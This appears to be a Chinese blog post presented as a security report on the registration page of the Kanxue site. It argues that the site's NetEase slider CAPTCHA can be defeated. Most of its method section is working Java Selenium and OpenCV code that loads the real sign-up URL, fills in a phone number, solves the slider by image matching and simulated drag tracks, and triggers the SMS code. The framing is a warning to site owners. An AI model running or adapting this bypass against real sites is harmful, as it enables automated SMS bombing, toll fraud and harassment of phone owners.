【看雪-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
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所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 看雪 PC端注册入口

简介：看雪学苑（www.kanxue.com）是一个专注于PC、移动、智能设备安全研究及逆向工程的安全综合服务网站！创建于2000年，历经20多年的发展，看雪网站形成了大量有价值的技术资料，经过看雪团队的共同努力，先后出版过数本技术专著，深受出版社和广大读者好评，社会影响深远，在行业中树立了令人尊敬的专业形象。平台为会员提供安全知识的在线课程教学，同时为企业提供智能设备安全相关产品和服务。看雪每年举办500-1000人以上的大会：安全开发者峰会（Security Development Conference，简称SDC），截止今年已举办了6届，SDC始终秉持技术与干货的原则，始终致力于建立一个多领域、多维度的高端安全交流平台，推动互联网安全行业的快速成长。

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二、 安全性分析报告：

采用网易的滑动行为验证方式，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

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三、 测试方法：

前端界面分析为网易易盾的滑动验证码， 网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向， 只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
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  1. 模拟器交互部分

private final String INDEX_URL = "https://passport.kanxue.com/user-mobile-1.htm";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);// 输入手机号WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("mobile"), 500);phoneElemet.sendKeys(phone);Thread.sleep(1000);netEasy.moveExec(driver, 412.0 / 480);// 获取验证码Thread.sleep(1000);WebElement getCodeElement = driver.findElement(By.id("sendactive"));getCodeElement.click();Thread.sleep(1500);String info = getCodeElement.getText();retEntity.setMsg(info);if (info != null && info.contains("发送成功 ")) {retEntity.setRet(0);} else {System.out.println("info=" + info);}return retEntity;} catch (Exception e) {System.out.println("send() phone=" + phone + ",e=" + e.toString());StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace())er.append(elment.toString() + "\n");System.out.println(er.toString());return null;} finally {driver.manage().deleteAllCookies();}}

2. 距离识别


/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/public String[] getWidth(String tpPath, String bgPath, String resultFile) {try {Rect rectCrop = clearWhite(tpPath);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat g_b = Imgcodecs.imread(bgPath);Mat edgesBg = new Mat();Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);String width = String.valueOf(cvtSlide.cols());String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);return new String[] { width, maxX };} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}
  1. 轨道生成及移动算法

public boolean moveExec(WebDriver driver) {// 获取滑动按钮try {WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);if (moveElemet == null) {return false;} else {Actions actions = new Actions(driver);actions.clickAndHold(moveElemet).perform();}Thread.sleep(1000);// 获取带阴影的背景图WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);String bUrl = bg.getAttribute("src");if (bUrl == null) {System.out.println("bUrl=" + bUrl);return false;}// 获取小图WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);String sUrl = s.getAttribute("src");if (sUrl == null) {System.out.println("sUrl=" + sUrl);return false;}Map<String, String> outMap = getMoveDistance(bUrl, sUrl);String openWidth = outMap != null ? outMap.get("width") : null;String openDistance = outMap != null ? outMap.get("distance") : null;// 计算匹配到的位置int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);if (distance == 0) {System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);return false;}moveElemet.click();// 滑动ActionMove.move(driver, moveElemet, distance);String moveStr = null;WebElement yidunElement;for (int i = 0; i <= 40; i++) {yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;if (moveStr != null && moveStr.contains("yidun--success")) {System.out.println("succ distance=" + distance);driver.findElement(By.id("nickname")).click();Thread.sleep(500);driver.findElements(By.className("sms-code")).get(1).click();Thread.sleep(500);break;}System.out.print(".");Thread.sleep(50);}return true;} catch (Exception e) {return false;}}
  1. OpenCv 轮廓匹配测试样例：
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四丶结语

看雪学苑（www.kanxue.com）是一个专注于PC、移动、智能设备安全研究及逆向工程的安全综合服务网站！创建于2000年，历经20多年的发展，看雪网站形成了大量有价值的技术资料，经过看雪团队的共同努力，先后出版过数本技术专著，深受出版社和广大读者好评，社会影响深远，在行业中树立了令人尊敬的专业形象。平台为会员提供安全知识的在线课程教学，同时为企业提供智能设备安全相关产品和服务。作为安全媒体，看雪具有雄厚的技术实力，但采用的仍然是普通的图形交互验证方式， 在一定程度上提高了用户体验， 但安全性在机器学习的今天， 已经无法应对攻击了，并且正是由于该产品通俗， 所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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